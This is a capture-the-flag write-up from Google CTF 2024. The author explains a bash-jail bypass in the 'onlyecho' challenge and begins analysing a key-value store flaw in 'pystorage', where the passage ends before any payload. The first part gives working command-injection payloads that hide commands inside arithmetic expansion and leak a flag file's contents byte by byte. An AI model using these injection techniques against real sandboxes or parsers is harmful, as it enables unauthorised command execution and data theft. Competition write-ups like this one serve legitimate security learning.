Google CTF 2024 Writeup
Lysithea
Trying to Writeup in English for the first time.
It's been a while for me to participate in another CTF game (on my own, again). Google CTF is competition for more senior players, which I doubt I could ever be one of them. It turns out that I can only solve the easiest among all challenges, all below 250 pt under dynamic scoring.
misc - onlyecho
This challenge implements bash jail in javascript. It uses the bash-parser
package to analyze the AST tree of bash commands, and only will run the command if it does not contain nodes of Redirect
or Command
with name
different from echo
. There is an online playground of bash-parser, by developer of this package him/herself.
for (var prop in ast) {
if (prop === 'type' && ast[prop] === 'Redirect') {
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
if (!check(ast[prop])) {
return false;
}
}
Clearly this AST tree is not that robust, as many rarely used feature may be neglected. Array and indexing is, unfortunately, one of them. There is a bash arithmetic RCE exploit I learnt back in 0CTF, where the index of an array can contain $()
to execute any subcommand, like $((x[$(id >/proc/$$/fd/1)]))
.
It would be easy to notice that arithmetic expansion would mess up the AST tree, as the Command
nodes are not extracted out. It's interesting to note that, the things inside $()
is treated almost as arithmetic expression, like >
is greater sign, /
is division sign, and this would sometimes cause the AST parsing to fail, which should be avoided. A more decent pattern would be to use ``
instead of $()
.
echo $((`id >/tmp/f`))
{
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "echo",
"type": "Word"
},
"suffix": [
{
"text": "$((`id >/tmp/f`))",
"expansion": [
{
"loc": {
"start": 0,
"end": 16
},
"type": "ArithmeticExpansion",
"expression": "`id >/tmp/f`",
"arithmeticAST": {
"type": "TemplateLiteral",
"start": 0,
"end": 12,
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 12
}
},
"expressions": [],
"quasis": [
{
"type": "TemplateElement",
"start": 1,
"end": 11,
"loc": {
"start": {
"line": 1,
"column": 1
},
"end": {
"line": 1,
"column": 11
}
},
"value": {
"raw": "id >/tmp/f",
"cooked": "id >/tmp/f"
},
"tail": true
}
]
}
}
],
"type": "Word"
}
]
}
]
}
The next step is to get the echo of commands. The jail would only write out the stdout to us, but the result of our injected command wouldn't be echoed to stdout, but rather captured by its parent command. The outermost arithmetic expansion would always return a number. We could let it spit out the ascii code of result one byte at a time with builtin programs of ubuntu, such as awk
,sed
,od
. (Note that hexdump
, xxd
is not preinstalled on docker image Ubuntu:24.04
). Following is a workable version, and we just to convert the hex of results back to characters.
# replace %d with numbers
echo -n $(( `echo -n 0x$(cat /flag|sed -n 1p|awk \'{print substr($0,%d,4)}\'|od -t x4|awk \'{print $2}\')` )),;
# CTF{LiesDamnedLiesAndBashParsingDifferentials}
misc - pystorage
Pretty neat challenge. It implements a plain-text key-value database on disk in python. The format is similar to HTTP headers.
secret_password:b0e4a5d323bcba957402bd61bba20598
secret_flag:CTF{testflag}
When initialized, two secret entries would be added: secret_password
is urandom hex, while secret_flag
is the flag we search for. If the key of any entry has prefix secret_
, it is regarded as a secret item and regard us to input the content of secret_password
to authenticate. When adding entries, it would append to the end of the file. When reading entries, if there are duplicated keys (which the program won't check when adding them), all entries would be returned. Furthermore, only the last one would be used when authenticating. So the clue is clear, we need to somehow add another secret_password
to overwrite the initialized one.
The user input is processed with regular expressions:
ADD_REQUEST_REGEX = re.compile(r'^add (?P<key>[^ ]+) (?P<value>[^ ]+)$')
GET_REQUEST_REGEX = re.compile(r'^get (?P<key>[^ ]+)$')
AUTH_REQUEST_REGEX = re.compile(r'^auth (?P<password>[^ ]+) (?P<request>.+)$')
and there are additional wafs:
if ':' in key or '\n' in key or '\n' in value:
return False